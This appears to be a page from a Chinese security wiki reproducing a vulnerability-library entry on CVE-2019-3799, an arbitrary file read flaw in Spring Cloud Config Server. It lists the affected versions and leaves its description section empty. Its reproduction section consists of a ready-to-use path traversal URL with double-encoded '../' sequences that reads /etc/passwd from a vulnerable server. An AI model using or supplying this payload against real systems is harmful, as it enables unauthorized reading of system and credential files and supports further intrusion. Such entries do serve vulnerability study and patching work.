menu arrow_back 湛蓝安全空间 |狂野湛蓝，暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right Spring Cloud chevron_right （CVE-2019-3799）Spring Cloud Config Server 任意文件读取 .md
  • home 首页
  • brightness_4 暗黑模式
    • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    （CVE-2019-3799）Spring Cloud Config Server 任意文件读取 .md
    568 B / 2021-04-21 09:23:46
        （CVE-2019-3799）Spring Cloud Config Server 任意文件读取
========================================================

一、漏洞简介
------------

二、漏洞影响
------------

Spring Cloud Config 2.1.0 to 2.1.1

Spring Cloud Config 2.0.0 to 2.0.3

Spring Cloud Config 1.4.0 to 1.4.5

其他不受支持的老版本 （如Spring Cloud Config1.3及其以下版本）

三、复现过程
------------

    http://www.0-sec.org/test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd
    links
    file_download